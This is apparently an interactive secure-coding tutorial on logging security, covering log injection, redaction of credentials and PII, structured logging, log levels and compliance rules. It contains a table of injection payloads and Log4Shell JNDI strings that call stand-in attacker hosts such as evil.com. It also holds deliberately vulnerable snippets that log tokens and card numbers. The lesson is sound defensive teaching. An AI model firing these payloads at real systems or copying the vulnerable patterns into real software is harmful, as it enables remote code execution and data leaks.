01 //Why Logging Security Matters
Logs are the backbone of observability, debugging, and incident response. But poorly implemented logging is itself a security vulnerability. Logs can leak credentials, expose PII, enable injection attacks, and violate compliance regulations. In code review, logging code is frequently overlooked—yet it touches nearly every part of an application.
- Prevent injection: Never let attacker-controlled input manipulate log structure or trigger unintended behavior.
- Protect sensitive data: Never log credentials, tokens, PII, or payment data in plaintext.
- Ensure integrity: Logs must be tamper-evident and stored securely for forensic and compliance purposes.
1// Looks harmless, but what if username contains newlines or JNDI lookups?
2app.post('/login', (req, res) => {
3 const { username, password } = req.body;
4 logger.info(`Login attempt for user: ${username}`);
5 // ... authentication logic
6});Which of the following is NOT a logging security risk?
02 //Log Injection Attacks
Log injection occurs when an attacker can insert or manipulate log entries by embedding special characters—most commonly newline characters (\n, \r\n)—in user input that gets logged. This can forge log entries, corrupt log analysis, hide attack traces, or even trigger vulnerabilities in log processing systems.
1# Vulnerable: user input directly interpolated into log message
2import logging
3
4logger = logging.getLogger(__name__)
5
6def login(request):
7 username = request.POST.get('username')
8 logger.info(f"Login attempt for user: {username}")
9 # If username = "admin\n[INFO] Login successful for admin"
10 # The log file now contains a forged "successful login" entry1import logging
2import re
3
4logger = logging.getLogger(__name__)
5
6def sanitize_log_input(value: str) -> str:
7 """Strip control characters and limit length for log safety."""
8 sanitized = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', str(value))
9 return sanitized[:256]
10
11def login(request):
12 username = sanitize_log_input(request.POST.get('username', ''))
13 logger.info("Login attempt for user: %s", username)${jndi:ldap://attacker.com/exploit} as a username, User-Agent header, or any value that got logged. Always treat logged data as untrusted and never interpret or evaluate it.Log Injection Attack Vectors
| Technique | Payload Example | Impact |
|---|---|---|
| Newline Injection | admin\n[INFO] Admin access granted | Forges legitimate-looking log entries |
| CRLF Injection | user\r\n\r\nHTTP/1.1 200 OK | Can split HTTP responses when logs feed into web interfaces |
| ANSI Escape Codes | \x1b[31mFAKE ALERT\x1b[0m | Can manipulate terminal-based log viewers |
| Format String | %s%s%s%s%n | Can cause crashes or memory corruption in C/C++ loggers |
| JNDI Lookup (Log4j) | ${jndi:ldap://evil.com/a} | Remote code execution via deserialization |
Pick a payload to see how unsanitized input rewrites your log file.
[2026-04-08 14:23:01] INFO Login attempt for user: admin
[2026-04-08 14:23:01] INFO Login attempt for user: admin
What is the primary defense against log injection attacks?
03 //Sensitive Data in Logs
One of the most common and dangerous logging mistakes is accidentally recording sensitive data. Logs are often stored with weaker access controls than primary databases, replicated to multiple systems, and retained for long periods—making leaked credentials or PII a persistent risk.
- passwords, API keys, OAuth tokens
- SSNs, dates of birth, full names
- card numbers, CVVs, bank accounts
- private keys, session IDs
- Splunk / ELK / Datadog indexes
- S3, GCS, archived log buckets
- third-party SIEM and MSSPs
- developer terminals and tail sessions
Data That Should NEVER Appear in Logs
| Category | Examples | Risk |
|---|---|---|
| Credentials | Passwords, API keys, OAuth tokens, session IDs | Account takeover, lateral movement |
| PII | SSN, date of birth, full names with addresses | Identity theft, GDPR/CCPA violations |
| Payment Data | Credit card numbers, CVVs, bank accounts | PCI DSS violations, financial fraud |
| Health Records | Medical conditions, prescriptions, insurance IDs | HIPAA violations, discrimination |
| Encryption Keys | Private keys, symmetric keys, key material | Cryptographic compromise |
| Internal Paths | Full file paths, internal IPs, database connection strings | Reconnaissance for further attacks |
1// BAD: Logging entire request objects or user records
2app.post('/api/payment', (req, res) => {
3 logger.info('Payment request received', { body: req.body });
4 // Logs credit card numbers, CVVs, expiration dates!
5
6 const user = await db.users.findById(req.userId);
7 logger.debug('Processing payment for user', { user });
8 // Logs password hashes, SSNs, tokens!
9});1const SENSITIVE_FIELDS = new Set([
2 'password', 'token', 'secret', 'authorization',
3 'ssn', 'creditCard', 'cvv', 'cardNumber',
4]);
5
6function redactSensitive(obj, depth = 0) {
7 if (depth > 5 || typeof obj !== 'object' || obj === null) return obj;
8 const redacted = {};
9 for (const [key, value] of Object.entries(obj)) {
10 if (SENSITIVE_FIELDS.has(key.toLowerCase())) {
11 redacted[key] = '[REDACTED]';
12 } else if (typeof value === 'object') {
13 redacted[key] = redactSensitive(value, depth + 1);
14 } else {
15 redacted[key] = value;
16 }
17 }
18 return redacted;
19}
20
21app.post('/api/payment', (req, res) => {
22 logger.info('Payment request received', {
23 userId: req.userId,
24 amount: req.body.amount,
25 currency: req.body.currency,
26 });
27});****-****-****-4242 for cards, j***@example.com for emails, or hash the value for correlation without exposure.Which logging statement is safe?
04 //Structured Logging
Structured logging outputs log entries as machine-parseable data (typically JSON) rather than free-form strings. This is a major security win because it naturally separates the message template from user-supplied data, making log injection far harder.
1# BAD: String interpolation creates injection risk
2logger.info(f"User {username} logged in from {ip_address}")
3# If username contains newlines, the log structure breaks1import structlog
2
3logger = structlog.get_logger()
4
5# Data is encoded as JSON fields, not interpolated into the message
6logger.info("user_login", username=username, ip_address=ip_address)
7# Output: {"event": "user_login", "username": "admin\nfake", "ip_address": "1.2.3.4", "timestamp": "..."}Structured Logging Libraries by Language
| Language | Library | Key Feature |
|---|---|---|
| Python | structlog, python-json-logger | JSON output with bound context |
| JavaScript/Node | pino, winston (JSON transport) | High-performance JSON logging |
| Java | Logback + Logstash encoder, Log4j2 JSON Layout | MDC context propagation |
| Go | zerolog, zap | Zero-allocation structured logging |
| C# / .NET | Serilog | Structured events with destructuring |
| Ruby | Semantic Logger, Ougai | JSON-formatted log entries |
1const pino = require('pino');
2const logger = pino({ level: 'info', redact: ['req.headers.authorization', 'body.password'] });
3
4app.post('/login', (req, res) => {
5 // pino automatically serializes data as separate JSON fields
6 logger.info({ username: req.body.username, ip: req.ip }, 'login_attempt');
7 // Output: {"level":30,"time":1712345678,"username":"admin","ip":"1.2.3.4","msg":"login_attempt"}
8});\n in the JSON, backslashes are escaped, and the log entry structure remains intact regardless of what the user supplies.What is the main security advantage of structured logging over string-interpolated logging?
05 //Code Review Patterns
When reviewing code for logging security issues, use a systematic approach. Start with the sinks (logging calls), then trace back to see what data flows into them.
Red Flags to Spot in Code Review
| Pattern | Example | Why It's Dangerous |
|---|---|---|
| String concatenation in log calls | logger.info("User: " + username) | Enables log injection via control characters |
| Template literals with user data | logger.info(`Request: ${req.body}`) | Unsanitized input in log message |
| Logging entire objects | logger.debug("Request:", req) | May contain tokens, passwords, PII |
| Logging caught exceptions verbatim | logger.error(err.stack) | Stack traces may reveal internal paths and configs |
| Logging in catch blocks without filtering | catch(e) { logger.error(e) } | Exception messages may contain user input |
| Debug-level logging in production paths | logger.debug(JSON.stringify(response)) | Verbose logging often includes sensitive response data |
1// FLAG: String interpolation with user input
2logger.warn(`Failed login for ${req.body.username} from ${req.ip}`);
3
4// FLAG: Logging entire request/response objects
5logger.debug('API response:', JSON.stringify(apiResponse));
6
7// FLAG: Logging exception messages that may include user input
8try {
9 await processOrder(orderData);
10} catch (err) {
11 logger.error(`Order processing failed: ${err.message}`);
12 // err.message may contain user-supplied data from orderData
13}
14
15// FLAG: Console.log left in production code
16console.log('DEBUG user data:', userData);1// SAFE: Parameterized structured logging
2logger.warn({ username: sanitize(req.body.username), ip: req.ip }, 'failed_login');
3
4// SAFE: Selective field logging
5logger.info({ orderId: order.id, status: order.status, amount: order.total }, 'order_processed');
6
7// SAFE: Error logging with controlled fields
8try {
9 await processOrder(orderData);
10} catch (err) {
11 logger.error({ orderId: orderData.id, errorCode: err.code }, 'order_processing_failed');
12}
13
14// SAFE: Correlation IDs instead of raw data
15logger.info({ requestId: req.id, userId: req.user?.id }, 'request_completed');console.log, console.error, logger.debug (in production paths), JSON.stringify in log calls, string concatenation (+) or template literals (${}) in log arguments, and any reference to password, token, secret, or key near logging calls.Fix the Logging Vulnerabilities
This Express.js middleware has multiple logging security issues. Identify the best fix.
Vulnerable Code:
function authMiddleware(req, res, next) {
const token = req.headers.authorization;
const username = req.body?.username;
const password = req.body?.password;
console.log(`Auth attempt: user=${username} token=${token}`);
try {
const decoded = jwt.verify(token, SECRET_KEY);
logger.info("JWT verified for: " + decoded.sub);
req.user = decoded;
next();
} catch (err) {
logger.error(`Auth failed: ${err.message} for user ${username} with token ${token}`);
res.status(401).json({ error: "Unauthorized" });
}
}Choose the best approach to fix this vulnerability:
06 //Log Levels & Environment Safety
Misconfigured log levels are a subtle but dangerous security issue. Debug and trace-level logging frequently contain detailed data that is safe in development but toxic in production. Ensuring the right log level per environment is critical.
Log Levels and Security Implications
| Level | Purpose | Security Consideration |
|---|---|---|
| TRACE | Extremely detailed flow tracing | NEVER enable in production—often logs full payloads, internal state, memory addresses |
| DEBUG | Developer diagnostic information | High risk in production—may log request/response bodies, variable values, query parameters |
| INFO | Normal operational events | Generally safe, but review what "normal events" include—avoid logging PII even at INFO level |
| WARN | Recoverable issues | Usually safe—focus on security events like failed auth attempts, rate limit hits |
| ERROR | Failures requiring attention | Be cautious: error messages and stack traces may contain user input or internal details |
| FATAL | Unrecoverable failures | Usually safe but rare—ensure crash dumps don't include in-memory secrets |
1const pino = require('pino');
2
3const logger = pino({
4 level: process.env.NODE_ENV === 'production' ? 'info' : 'debug',
5 redact: {
6 paths: [
7 'req.headers.authorization',
8 'req.headers.cookie',
9 'body.password',
10 'body.token',
11 'body.ssn',
12 'body.creditCard',
13 ],
14 censor: '[REDACTED]',
15 },
16 serializers: {
17 req: (req) => ({
18 method: req.method,
19 url: req.url,
20 remoteAddress: req.remoteAddress,
21 }),
22 },
23});logger.debug() calls that log full request/response objects. Even if the production log level is set to INFO, a single configuration change or environment variable override can suddenly expose all that debug data. Treat every log statement as if it will run in production.Your production app suddenly starts logging full request bodies. What is the most likely cause?
07 //Compliance & Log Retention
Logging isn't just a technical concern—it's a compliance requirement. Regulations like GDPR, PCI DSS, HIPAA, and SOC 2 have specific rules about what can be logged, how logs must be protected, and how long they must (or must not) be retained.
Compliance Requirements for Logging
| Regulation | Logging Requirement | Key Constraint |
|---|---|---|
| GDPR (EU) | Must not log unnecessary PII; data subject can request deletion | Logging PII requires legal basis; right to erasure applies to logs too |
| PCI DSS | Must log access to cardholder data; must NOT log full card numbers, CVVs | Logs must be protected and reviewed daily; retention minimum 1 year |
| HIPAA | Must log access to protected health information (PHI) | PHI in logs must be encrypted; access must be auditable |
| SOC 2 | Must log security-relevant events and maintain audit trail | Logs must have integrity controls; tamper detection required |
| CCPA | Must track data access for consumer data requests | Logs may themselves become subject to data access requests |
1function gdprSafeLogger(logger) {
2 const PII_FIELDS = new Set([
3 'email', 'name', 'phone', 'address', 'ssn',
4 'dateOfBirth', 'ipAddress',
5 ]);
6
7 return {
8 info: (data, msg) => logger.info(redactPII(data), msg),
9 warn: (data, msg) => logger.warn(redactPII(data), msg),
10 error: (data, msg) => logger.error(redactPII(data), msg),
11 };
12
13 function redactPII(data) {
14 if (typeof data !== 'object' || data === null) return data;
15 const safe = {};
16 for (const [key, value] of Object.entries(data)) {
17 safe[key] = PII_FIELDS.has(key) ? '[PII_REDACTED]' : value;
18 }
19 return safe;
20 }
21}Under PCI DSS, which of the following MUST be logged?
08 //Secure Logging Cheat Sheet
Log Injection Prevention
| Defense | Implementation |
|---|---|
| Sanitize user input | Strip/encode control characters (\n, \r, \x1b) before logging |
| Use structured logging | pino, structlog, zerolog, Serilog — data as fields, not strings |
| Parameterize log messages | logger.info("event", {key: value}) instead of string interpolation |
| Validate log field lengths | Truncate user-supplied values to reasonable max lengths |
| Avoid expression evaluation | Disable JNDI lookups, format string evaluation in log libraries |
Sensitive Data Protection
| Practice | Details |
|---|---|
| Never log credentials | Passwords, API keys, tokens, session IDs, OAuth secrets |
| Redact PII | SSN → ***-**-1234, Email → j***@example.com, Phone → ***-***-5678 |
| Mask payment data | Card → ****-****-****-4242, Never log CVV or full PAN |
| Use allowlists | Explicitly list which fields to log rather than logging everything and blocklisting |
| Redact at the logger level | Configure redaction in your logging library (pino redact, Serilog destructure) |
Code Review Checklist
| Check | What to Look For |
|---|---|
| No console.log in production | Grep for console.log, console.error, System.out.println, print() |
| No string concatenation in logs | Look for + or template literals in logger.* calls |
| No full object logging | Flag JSON.stringify(req), logging req.body, res.data, or user objects |
| No credentials near loggers | Search for password, token, secret, key within 3 lines of logger.* |
| Correct log level per environment | Verify production is INFO or above; no DEBUG/TRACE |
| Error messages don't leak internals | Stack traces, file paths, DB queries should not reach client or verbose logs |
Safe Logging Patterns by Language
| Language | Recommended Pattern |
|---|---|
| Python | logger.info("event_name", extra={"key": sanitized_value}) |
| JavaScript | logger.info({userId, action, requestId}, "event_name") |
| Java | logger.info("event_name userId={} action={}", userId, action) |
| Go | logger.Info("event_name", zap.String("userId", userId)) |
| C# | logger.LogInformation("event_name {UserId} {Action}", userId, action) |
- Treat all logged data as untrusted: Sanitize user input before logging, just like you would before database queries.
- Use structured logging everywhere: JSON-structured logs prevent injection and make analysis safer.
- Implement redaction at the framework level: Don't rely on individual developers remembering to redact—configure it in the logging pipeline.
- Review log statements during code review: Logging code is security-relevant code. Treat it accordingly.
- Match log levels to environments: Production should never run at DEBUG or TRACE level.
Final Challenge: Secure This Logging Code
This API handler has multiple logging security issues. Choose the best remediation strategy.
Vulnerable Code:
async function handlePayment(req, res) {
const { cardNumber, cvv, expiry, amount } = req.body;
const authToken = req.headers.authorization;
console.log("Payment request:", JSON.stringify(req.body));
logger.debug(`Processing payment of $${amount} with card ${cardNumber}`);
try {
const result = await paymentGateway.charge({
card: cardNumber, cvv, expiry, amount
});
logger.info(`Payment successful: ${JSON.stringify(result)}`);
res.json({ success: true, transactionId: result.id });
} catch (err) {
logger.error(`Payment failed: ${err.message}`, {
card: cardNumber,
token: authToken,
error: err.stack
});
res.status(500).json({ error: err.message });
}
}Choose the best approach to fix this vulnerability: